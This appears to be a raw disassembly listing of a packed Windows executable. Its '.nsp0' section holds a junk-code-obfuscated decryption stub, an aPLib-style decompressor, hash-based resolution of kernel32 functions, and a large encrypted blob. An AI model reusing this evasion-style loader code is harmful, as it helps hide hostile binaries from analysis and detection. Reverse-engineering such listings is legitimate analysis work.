word_462E6C dw 0 ; DATA XREF: sub_41AC90+67r
word_462E6E dw 0 ; DATA XREF: sub_41AC90+70r
; sub_41AC90:loc_41AD14r
word_462E70 dw 0 ; DATA XREF: sub_41AC90+5Dr
word_462E72 dw 0 ; DATA XREF: sub_41AC90+55r
word_462E74 dw 0 ; DATA XREF: sub_41AC90+4Dr
word_462E76 dw 0 ; DATA XREF: sub_41AC90+3Er
dword_462E78 dd 0 dword_462E7C dd 0 ; sub_41AA32:loc_41AB7Er ...
dword_462E80 dd 0 dword_462E84 dd 0 ; resolved to->USER32.MessageBoxA ; sub_41AFBE+2Ew ...
dword_462E88 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_41AFBE:loc_41B00Dr
dword_462E8C dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_41AFBE+60r
dword_462E90 dd 0 dword_462E94 dd 0 ; sub_41BB67+6Do
dword_462E98 dd 0 ; sub_41BB67+44o
dword_462E9C dd 0 ; sub_41BB67+37o
dword_462EA0 dd 0 ; sub_41BB67+51o
align 8
dword_462EA8 dd 0 ; sub_41C115+48w ...
byte_462EAC db 0 ; DATA XREF: sub_40388Fr sub_40388F+9w ...
align 10h
dword_462EB0 dd 0 ; sub_4152C0+14r ...
align 10h
dword_462EC0 dd 400h dup(0) ; .nsp0:00431BB0o
dword_463EC0 dd 0 ; sub_415019+56r ...
dd 7 dup(0)
dword_463EE0 dd 0 ; sub_418180+75r ...
dword_463EE4 dd 3Fh dup(0) dword_463FE0 dd 0 ; sub_418259+Cr ...
dword_463FE4 dd 0 ; .nsp0:004188F5w ...
align 10h
dword_463FF0 dd 3 dup(0) ; .nsp0:00418A01o ...
dword_463FFC dd 0 ; .nsp0:004189EDw ...
byte_464000 db 0 ; DATA XREF: sub_418ACF:loc_418BDBw
; sub_418ACF:loc_418BF8w ...
align 4
dd 3Fh dup(0)
byte_464100 db 0 ; DATA XREF: .nsp0:004188ECo
; .nsp0:0041893Fo ...
byte_464101 db 0 ; DATA XREF: sub_413BF8+5Dr
; .nsp0:00418930w ...
align 4
dd 40h dup(0)
dword_464204 dd 0 ; .nsp0:004189BBw ...
dword_464208 dd 0 ; sub_415A2C+5r ...
dword_46420C dd 0 ; sub_4153F8+259r ...
dword_464210 dd 0 ; sub_4153F8+310w ...
dword_464214 dd 0 ; sub_4153F8+22Cr ...
dword_464218 dd 0 ; sub_4153CDr ...
dword_46421C dd 0 ; sub_4153CD+8r ...
dword_464220 dd 0 ; sub_412813+21r ...
dword_464224 dd 0 ; .nsp0:00418EF4r ...
dword_464228 dd 0 ; sub_41BCD9r
dword_46422C dd 0 ; sub_418C54+11w ...
dword_464230 dd 0 ; sub_4131A3:loc_4131E5r ...
dword_464234 dd 0 ; sub_4131A3+Cr ...
byte_464238 db 0 ; DATA XREF: sub_41C994+15r
; sub_41C994+1Ew
align 4
dd 371h dup(0)
db 90h
; ---------------------------------------------------------------------------
pusha
call loc_46500A
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
jmp short loc_46500E
; ---------------------------------------------------------------------------
loc_46500A: ; CODE XREF: .nsp0:00465002j
pop ebp
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
loc_46500E: ; CODE XREF: .nsp0:00465008j
call loc_465014
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_465014: ; CODE XREF: .nsp0:loc_46500Ej
pop ebp
mov ebx, 0FFFFFFEDh
add ebx, ebp
sub ebx, 65000h
cmp byte ptr [ebp+4Dh], 1
jnz short loc_465034
mov esi, [esp+28h]
cmp esi, 1
mov [ebp+4Eh], ebx
jnz short loc_465065
loc_465034: ; CODE XREF: .nsp0:00465026j
lea eax, [ebp+53h]
push eax
push ebx
push dword ptr [ebp+9EDh]
lea eax, [ebp+35h]
push eax
jmp loc_4650CA
; ---------------------------------------------------------------------------
dword_465048 dd 3D0000h, 30000h, 7C809AE4h, 3FE000h, 7C801D77h, 7C80B6A1h
; DATA XREF: .nsp0:004654C8o
dd 0
db 0
; ---------------------------------------------------------------------------
loc_465065: ; CODE XREF: .nsp0:00465032j
mov eax, 23A5C0F8h
push eax
push eax
add eax, [ebp+4Eh]
pop ebx
test eax, eax
jz short loc_465090
jmp short loc_465077
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_465077: ; CODE XREF: .nsp0:00465074j
cmp ebx, 23A5C0F8h
jz short loc_4650B4
xor edx, edx
push esi
push 0
push esi
push dword ptr [ebp+4Eh]
call eax
pop esi
cmp esi, 0
jnz short loc_4650B4
loc_465090: ; CODE XREF: .nsp0:00465072j
xor edx, edx
mov eax, [ebp+41h]
test eax, eax
jz short loc_4650A0
push edx
push edx
push dword ptr [ebp+35h]
call eax
loc_4650A0: ; CODE XREF: .nsp0:00465097j
mov eax, [ebp+35h]
test eax, eax
jz short loc_4650B4
push 8000h
push 0
push dword ptr [ebp+35h]
call dword ptr [ebp+3Dh]
loc_4650B4: ; CODE XREF: .nsp0:0046507Dj
; .nsp0:0046508Ej ...
pop ebx
or ebx, ebx
popa
jnz short loc_4650C0
push 1
pop eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_4650C0: ; CODE XREF: .nsp0:004650B8j
xor eax, eax
neg eax
sbb eax, eax
inc eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_4650CA: ; CODE XREF: .nsp0:00465043j
mov al, 6Ah
call near ptr loc_4650D3+4
push esi
xlat
loc_4650D3: ; CODE XREF: .nsp0:004650CCp
les ebp, [ebp-2F498C1Eh]
pop ebx
mov ax, 48C7h
add ebx, 8BDh
call near ptr loc_4650EC+4
arpl [eax+19h], sp
loc_4650EC: ; CODE XREF: .nsp0:004650E4p
fidivr word ptr [edi-2E752A74h]
pop edx
mov ecx, 47B0508Dh
sub ecx, 47B04E80h
jmp loc_465111
; ---------------------------------------------------------------------------
db 8Eh
dd 9A45BCAFh, 66C1A8CBh, 0F2FD54A7h
; ---------------------------------------------------------------------------
inc ebx
loc_465111: ; CODE XREF: .nsp0:004650FEj
; .nsp0:00465154j
mov esi, [ebx]
push 0AF9D39Fh
movzx eax, dx
pop edx
sub esi, 0D87C53Dh
xor eax, 3EA42DF0h
xor esi, 2B15C132h
push 7104E28Fh
mov dh, 2Ch
pop eax
sub esi, 17CCAE83h
xor edx, 205974D9h
mov [ebx], esi
and ax, 638h
sub ebx, 4
mov dh, al
sub ecx, 1
jnz loc_465111
mov dx, 0DE5Ah
mov edx, eax
call near ptr loc_465169+5
lea eax, [edx+53h]
nop
loc_465169: ; CODE XREF: .nsp0:00465160p
mov [esi-17BA4351h], ecx
or eax, 0C1000000h
cmpsw
push esp
std
repne inc ebx
sar cl, 3Eh
lahf
in al, dx
mov ch, 59h
pop eax
mov cx, dx
add eax, 828h
add dx, 0B0ABh
push 1D4h
jl loc_46519E
movzx ecx, bx
loc_46519E: ; CODE XREF: .nsp0:00465195j
pop esi
mov cx, di
loc_4651A2: ; CODE XREF: .nsp0:00465233j
push dword ptr [eax]
jle loc_4651B4
push 2124C577h
mov di, 1C50h
pop edx
loc_4651B4: ; CODE XREF: .nsp0:004651A4j
pop ebx
mov di, si
add ebx, 626E4263h
add cl, 14h
sub ebx, 7CBE9E60h
mov cx, 0ABB9h
xor ebx, 0FAADF19h
jmp loc_4651E7
; ---------------------------------------------------------------------------
dw 0A75h
dd 0D6F1987Bh, 622D4457h, 0AE29B0F3h
; ---------------------------------------------------------------------------
dec edi
fsubr st(5), st
loc_4651E7: ; CODE XREF: .nsp0:004651D1j
mov [eax], ebx
mov dx, 8786h
sub eax, 4
add dx, 7A99h
dec esi
jnz loc_46521C
push eax
jnb loc_465205
push eax
pop ecx
loc_465205: ; CODE XREF: .nsp0:004651FDj
pop edi
jmp loc_465241
; ---------------------------------------------------------------------------
db 0C5h
dd 41284B1Ah, 7DD427E6h, 7940C372h, 356C1FBEh
; ---------------------------------------------------------------------------
loc_46521C: ; CODE XREF: .nsp0:004651F6j
push 12D0BD58h
jmp loc_465232
; ---------------------------------------------------------------------------
add al, 0EDh
and dh, [ebx+0F6EE970h]
pushf
movsd
jp short loc_46525D
loc_465232: ; CODE XREF: .nsp0:00465221j
pop edi
jmp loc_4651A2
; ---------------------------------------------------------------------------
dd 0A0A3D25Dh, 0CCFF1E59h
db 15h
; ---------------------------------------------------------------------------
loc_465241: ; CODE XREF: .nsp0:00465206j
add dx, 0EF7Bh
call sub_465258
icebp
setalc
push edi
inc esp
sub eax, 29B0F362h
scasb
dec edi
fsubr st(5), st
; =============== S U B R O U T I N E =======================================
sub_465258 proc near ; CODE XREF: .nsp0:00465246p
mov cx, 9561h
pop ebx
loc_46525D: ; CODE XREF: .nsp0:00465230j
mov edi, 689FC0E0h
add ebx, 741h
adc dh, 55h
mov eax, 23B4C75Bh
add eax, 0DC4B3A4Bh
loc_465276: ; CODE XREF: sub_465258+8Aj
mov esi, [ebx]
and dh, 0C5h
sub esi, 36F67767h
jnb loc_465290
jnb loc_465290
movzx edx, bx
loc_465290: ; CODE XREF: sub_465258+29j
; sub_465258+2Fj
add esi, 7FFC6914h
movzx ecx, bx
sub esi, 3FF505BDh
push ebx
or edx, 232747E9h
pop ecx
push esi
mov di, cx
pop dword ptr [ebx]
jnp loc_4652B6
movsx edx, cx
loc_4652B6: ; CODE XREF: sub_465258+55j
sub ebx, 4
sub di, 1615h
dec eax
jnz loc_4652DE
mov ch, 0B9h
jmp loc_4652F8
; ---------------------------------------------------------------------------
dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h
db 32h, 83h
; ---------------------------------------------------------------------------
loc_4652DE: ; CODE XREF: sub_465258+67j
mov cx, 0F3DFh
jmp loc_465276
; ---------------------------------------------------------------------------
db 0F5h
dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h, 655CCF2Eh
; ---------------------------------------------------------------------------
loc_4652F8: ; CODE XREF: sub_465258+6Fj
call near ptr loc_465306+6
mov ebp, [eax-7Fh]
db 26h, 67h
adc al, 0BDh
mov dl, 3
loc_465306: ; CODE XREF: sub_465258:loc_4652F8p
cmp byte ptr [ecx+75AC5FFEh], 0B4h
sub_465258 endp ; sp-analysis failed
sbb eax, 9E85Ah
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
sub eax, 29B0F362h
scasb
dec edi
fsubr st(5), st
mov bh, 11h
pop esi
movzx eax, di
add esi, 677h
movsx edx, si
mov ecx, 76E68D1h
sub ecx, 76E6759h
mov ax, di
loc_46533A: ; CODE XREF: .nsp0:00465398j
push dword ptr [esi]
add bh, 0C5h
pop edi
push 7B663328h
mov edx, 1E7F59D4h
pop ebx
xor edi, 27337F4Dh
push 21B487BEh
mov bx, 0B658h
pop ebx
xor edi, 6444DA02h
movzx eax, di
xor edi, 4B499F13h
mov dh, 5Ch
mov [esi], edi
mov dl, bh
sub esi, 4
mov dx, ax
sub ecx, 1
jnz loc_465395
mov eax, ecx
jmp loc_4653AF
; ---------------------------------------------------------------------------
db 64h, 0CDh, 82h
dd 0CEC9D093h, 0DA85FCEFh
db 0Bh
; ---------------------------------------------------------------------------
loc_465395: ; CODE XREF: .nsp0:0046537Cj
adc al, 94h
jmp loc_46533A
; ---------------------------------------------------------------------------
db 32h, 83h, 0
dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h
db 0ADh, 0E2h, 73h
; ---------------------------------------------------------------------------
loc_4653AF: ; CODE XREF: .nsp0:00465384j
mov ax, 315h
call near ptr loc_4653C6+1
sbb edi, [eax+64F7F691h]
int 82h
xchg eax, ebx
ror cl, 1
into
out dx, eax
cld
loc_4653C6: ; CODE XREF: .nsp0:004653B3p
test [eax-18h], ebp
or dl, dl
inc esp
mov esi, ebx
pop esi
pop edi
mov ah, 56h
add edi, 5D4h
or esi, 3EABB630h
sub edx, edx
push 144E055Ch
mov bl, 1Bh
pop eax
loc_4653E8: ; CODE XREF: .nsp0:0046544Dj
push dword ptr [edx+edi]
jmp loc_4653F7
; ---------------------------------------------------------------------------
dd 0DE196063h
db 0BFh, 8Ch, 0D5h
; ---------------------------------------------------------------------------
loc_4653F7: ; CODE XREF: .nsp0:004653EBj
pop ecx
mov ax, 0E151h
xor ecx, 1EE0A688h
add ecx, 6D948821h
mov bl, 0Ch
xor ecx, 143E3446h
call near ptr loc_465425+1
inc ebp
call far ptr 54A7h:66C1A8CBh
std
repne inc ebx
sar cl, 3Eh
lahf
in al, dx
loc_465425: ; CODE XREF: .nsp0:00465410p
mov ch, 66h
sbb esi, 51585F16h
jmp loc_465437
; ---------------------------------------------------------------------------
dw 0EE69h
db 8Fh, 1Ch, 25h
; ---------------------------------------------------------------------------
loc_465437: ; CODE XREF: .nsp0:0046542Dj
pop dword ptr [edi+edx]
mov ebx, eax
mov si, 0E8DDh
sub edx, 4
mov si, 0B67Fh
cmp edx, 0FFFFFAD8h
jnz loc_4653E8
jmp loc_465468
; ---------------------------------------------------------------------------
dd 77761138h, 13024DE4h, 6F4E4950h, 8B5A057Ch
; ---------------------------------------------------------------------------
loc_465468: ; CODE XREF: .nsp0:00465453j
call $+5
pop ebp
pop ebx
mov [ebp+5Bh], ebx
pop ebx
mov [ebp+5Fh], ebx
pop eax
mov [ebp+40Dh], eax
pop eax
cmp byte ptr [ebp+5Ah], 1
jnz short loc_4654DD
mov [ebp+425h], eax
pusha
lea eax, [ebp+33h]
push eax
xor eax, eax
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, ebx
call sub_465782
jmp short loc_4654BC
; ---------------------------------------------------------------------------
mov esp, [esp+8]
pop dword ptr fs:0
add esp, 4
popa
lea eax, [ebp+63h]
push eax
call dword ptr [ebp+5Fh]
call loc_465798
jmp short loc_4654C5
; ---------------------------------------------------------------------------
loc_4654BC: ; CODE XREF: .nsp0:0046549Ej
pop dword ptr fs:0
add esp, 24h
loc_4654C5: ; CODE XREF: .nsp0:004654BAj
jmp short loc_4654E2
; ---------------------------------------------------------------------------
align 4
dd offset dword_465048
aBAKernel32_dll db '|kernel32.dll',0
; ---------------------------------------------------------------------------
loc_4654DD: ; CODE XREF: .nsp0:00465482j
call sub_46577E
loc_4654E2: ; CODE XREF: .nsp0:loc_4654C5j
cld
lea esi, [ebp+8Ch]
lodsd
or eax, eax
jz short loc_465509
mov edi, eax
mov ecx, 0Ch
rep movsb
jmp short loc_465509
; ---------------------------------------------------------------------------
align 2
dw 4010h
dd 0BC432800h, 0A2111932h, 2F564680h
; ---------------------------------------------------------------------------
setalc
loc_465509: ; CODE XREF: .nsp0:004654ECj
; .nsp0:004654F7j
mov [ebp+429h], esp
push 40h
push 1000h
push dword ptr [ebp+408h]
push 0
call dword ptr [ebp+3F0h]
mov [ebp+1CCh], eax
mov ebx, [ebp+400h]
add ebx, [ebp+40Dh]
push eax
push ebx
call sub_465641
push 40h
push 1000h
push dword ptr [ebp+408h]
push 0
call dword ptr [ebp+3F0h]
mov [ebp+431h], eax
mov [ebp+1D0h], eax
mov eax, fs:0
mov [ebp+42Dh], eax
mov edx, [ebp+5Bh]
mov eax, [ebp+1D0h]
mov [edx], eax
mov eax, [ebp+408h]
mov [edx+4], eax
lea eax, [ebp+39Fh]
mov eax, [eax+55h]
mov [edx+8], eax
mov eax, [ebp+3ECh]
mov [edx+10h], eax
mov eax, [ebp+3E8h]
mov [edx+14h], eax
mov edx, [ebp+1CCh]
mov ebx, 1F8h
loc_4655A6: ; CODE XREF: .nsp0:004655CAj
mov edi, [edx+ebx+0Ch]
or edi, edi
jz short loc_4655CC
mov ecx, [edx+ebx+10h]
or ecx, ecx
jz short loc_4655C7
add edi, [ebp+1D0h]
mov esi, [edx+ebx+14h]
add esi, edx
sar ecx, 2
rep movsd
loc_4655C7: ; CODE XREF: .nsp0:004655B4j
add ebx, 28h
jmp short loc_4655A6
; ---------------------------------------------------------------------------
loc_4655CC: ; CODE XREF: .nsp0:004655ACj
mov eax, [ebp+1CCh]
push eax
mov edx, [ebp+1D0h]
push edx
mov ebx, [eax]
add ebx, edx
mov eax, [ebp+3E4h]
mov [ebx], eax
mov eax, [ebp+3E8h]
mov [ebx+4], eax
mov eax, [ebp+3ECh]
mov [ebx+8], eax
pop edi
pop esi
mov eax, [esi+4]
add eax, edi
mov [ebp+1C7h], eax
mov edx, [ebp+5Bh]
mov eax, [ebp+1C7h]
mov [edx+0Ch], eax
lea ebx, [ebp+40Dh]
push ebx
push 0
push 0
push 1
push edi
mov ebx, [esi+8]
add ebx, edi
push ebx
push 8000h
push 0
push esi
call dword ptr [ebp+3F4h]
push 3FE000h
retn
; ---------------------------------------------------------------------------
db 2 dup(0), 3Ah
dd 3D000000h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_465641 proc near ; CODE XREF: .nsp0:00465538p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
pusha
push ebp
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
cld
mov dl, 80h
loc_46564F: ; CODE XREF: sub_465641:loc_46565Ej
mov al, [esi]
inc esi
mov [edi], al
inc edi
loc_465655: ; CODE XREF: sub_465641+72j
; sub_465641+B7j ...
add dl, dl
jnz short loc_46565E
mov dl, [esi]
inc esi
adc dl, dl
loc_46565E: ; CODE XREF: sub_465641+16j
jnb short loc_46564F
add dl, dl
jnz short loc_465669
mov dl, [esi]
inc esi
adc dl, dl
loc_465669: ; CODE XREF: sub_465641+21j
jnb short loc_4656B5
xor eax, eax
add dl, dl
jnz short loc_465676
mov dl, [esi]
inc esi
adc dl, dl
loc_465676: ; CODE XREF: sub_465641+2Ej
jnb loc_465752
add dl, dl
jnz short loc_465685
mov dl, [esi]
inc esi
adc dl, dl
loc_465685: ; CODE XREF: sub_465641+3Dj
adc eax, eax
add dl, dl
jnz short loc_465690
mov dl, [esi]
inc esi
adc dl, dl
loc_465690: ; CODE XREF: sub_465641+48j
adc eax, eax
add dl, dl
jnz short loc_46569B
mov dl, [esi]
inc esi
adc dl, dl
loc_46569B: ; CODE XREF: sub_465641+53j
adc eax, eax
add dl, dl
jnz short loc_4656A6
mov dl, [esi]
inc esi
adc dl, dl
loc_4656A6: ; CODE XREF: sub_465641+5Ej
adc eax, eax
jz short loc_4656B0
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4656B0: ; CODE XREF: sub_465641+67j
mov [edi], al
inc edi
jmp short loc_465655
; ---------------------------------------------------------------------------
loc_4656B5: ; CODE XREF: sub_465641:loc_465669j
mov eax, 1
loc_4656BA: ; CODE XREF: sub_465641:loc_4656CEj
add dl, dl
jnz short loc_4656C3
mov dl, [esi]
inc esi
adc dl, dl
loc_4656C3: ; CODE XREF: sub_465641+7Bj
adc eax, eax
add dl, dl
jnz short loc_4656CE
mov dl, [esi]
inc esi
adc dl, dl
loc_4656CE: ; CODE XREF: sub_465641+86j
jb short loc_4656BA
sub eax, 2
jnz short loc_4656FD
mov ecx, 1
loc_4656DA: ; CODE XREF: sub_465641:loc_4656EEj
add dl, dl
jnz short loc_4656E3
mov dl, [esi]
inc esi
adc dl, dl
loc_4656E3: ; CODE XREF: sub_465641+9Bj
adc ecx, ecx
add dl, dl
jnz short loc_4656EE
mov dl, [esi]
inc esi
adc dl, dl
loc_4656EE: ; CODE XREF: sub_465641+A6j
jb short loc_4656DA
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_465655
; ---------------------------------------------------------------------------
loc_4656FD: ; CODE XREF: sub_465641+92j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_46570B: ; CODE XREF: sub_465641:loc_46571Fj
add dl, dl
jnz short loc_465714
mov dl, [esi]
inc esi
adc dl, dl
loc_465714: ; CODE XREF: sub_465641+CCj
adc ecx, ecx
add dl, dl
jnz short loc_46571F
mov dl, [esi]
inc esi
adc dl, dl
loc_46571F: ; CODE XREF: sub_465641+D7j
jb short loc_46570B
cmp eax, 7D00h
jnb short loc_465742
cmp eax, 500h
jb short loc_46573D
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_465655
; ---------------------------------------------------------------------------
loc_46573D: ; CODE XREF: sub_465641+ECj
cmp eax, 7Fh
ja short loc_465745
loc_465742: ; CODE XREF: sub_465641+E5j
add ecx, 2
loc_465745: ; CODE XREF: sub_465641+FFj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_465655
; ---------------------------------------------------------------------------
loc_465752: ; CODE XREF: sub_465641:loc_465676j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_46576E
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_465655
; ---------------------------------------------------------------------------
loc_46576E: ; CODE XREF: sub_465641+119j
pop ebp
sub edi, [ebp+arg_4]
mov [ebp+var_4], edi
popa
pop ebp
retn 8
sub_465641 endp
; ---------------------------------------------------------------------------
dw 261Ch
db 80h, 7Ch
; =============== S U B R O U T I N E =======================================
sub_46577E proc near ; CODE XREF: .nsp0:loc_4654DDp
arg_20 = dword ptr 24h
mov eax, [esp+arg_20]
sub_46577E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_465782 proc near ; CODE XREF: .nsp0:00465499p
and eax, 0FFFF0000h
add eax, 10000h
loc_46578C: ; CODE XREF: sub_465782+14j
sub eax, 10000h
cmp word ptr [eax], 5A4Dh
jnz short loc_46578C
loc_465798: ; CODE XREF: .nsp0:004654B5p
pusha
mov [ebp+3F8h], eax
mov edx, eax
mov ebx, eax
add eax, [eax+3Ch]
add ebx, [eax+78h]
mov [ebp+30Dh], ebx
lea ebx, [ebp+3CCh]
lea edi, [ebp+3E4h]
loc_4657BB: ; CODE XREF: sub_465782+4Dj
mov esi, [ebx]
mov [ebp+37Ch], esi
call sub_4657D3
stosd
add ebx, 4
cmp dword ptr [ebx], 0
jnz short loc_4657BB
popa
retn
sub_465782 endp
; =============== S U B R O U T I N E =======================================
sub_4657D3 proc near ; CODE XREF: sub_465782+41p
var_4 = dword ptr -4
pusha
mov ebx, [ebp+30Dh]
mov ecx, [ebx+20h]
add ecx, edx
loc_4657DF: ; CODE XREF: sub_4657D3+21j
mov esi, [ecx]
add esi, edx
call sub_465817
mov edi, 49CD75CEh
cmp eax, edi
jz short loc_4657F6
add ecx, 4
jmp short loc_4657DF
; ---------------------------------------------------------------------------
loc_4657F6: ; CODE XREF: sub_4657D3+1Cj
sub ecx, [ebx+20h]
sub ecx, edx
shr ecx, 1
add ecx, [ebx+24h]
add ecx, edx
movzx ecx, word ptr [ecx]
shl ecx, 2
add ecx, [ebx+1Ch]
add ecx, edx
mov ecx, [ecx]
add ecx, edx
mov [esp+20h+var_4], ecx
popa
retn
sub_4657D3 endp
; =============== S U B R O U T I N E =======================================
sub_465817 proc near ; CODE XREF: sub_4657D3+10p
push edx
mov edx, 9C3B248Eh
loc_46581D: ; CODE XREF: sub_465817+1Dj
lodsb
or al, al
jz short loc_465836
xor dl, al
mov al, 8
loc_465826: ; CODE XREF: sub_465817+1Bj
shr edx, 1
jnb short loc_465830
xor edx, 0C1A7F39Ah
loc_465830: ; CODE XREF: sub_465817+11j
dec al
jnz short loc_465826
jmp short loc_46581D
; ---------------------------------------------------------------------------
loc_465836: ; CODE XREF: sub_465817+9j
xchg eax, edx
pop edx
retn
sub_465817 endp
; ---------------------------------------------------------------------------
db 0A7h, 51h, 25h
dd 493BF0B7h, 190257A7h, 0EE321390h, 0CD75CE74h, 49h, 80ADA000h
dd 80B6A17Ch, 801D777Ch, 809A517Ch, 809AE47Ch, 8000007Ch
dd 15A007Ch, 65B1C00h, 158F200h, 3000000h, 0
dd 2 dup(40h), 2 dup(0)
dd 0E1000000h, 1, 0FFA40000h, 0FFE00012h, 12h, 1000003Dh
dd 0BC000000h, 0DC7B0001h, 0D0000000h, 1C000001h, 14D60000h
dd 0F0000000h, 34000001h, 61370001h, 46h dup(0)
dd 2000h, 8, 6 dup(0)
dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
dd 3 dup(0)
dd 65A10h, 659FCh, 3 dup(0)
dd 65AB4h, 65AD9h, 3 dup(0)
dd 65ABFh, 65AE1h, 3 dup(0)
db 0CCh
db 5Ah, 6, 0
; ---------------------------------------------------------------------------
jmp loc_4660FB
; ---------------------------------------------------------------------------
align 4
dd 4 dup(0)
dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB442800h
dd 71h, 126AEA00h, 77h, 812A0900h, 7Ch, 56000000h, 61697261h
dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h
dd 74706563h, 6E6F69h, 0
dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h
dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h
dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h
dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch
dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah
dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h
dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah
dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h
dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h
dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h
dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h
dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h
dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h
dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h
dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h
dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h
dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h
dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h
dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
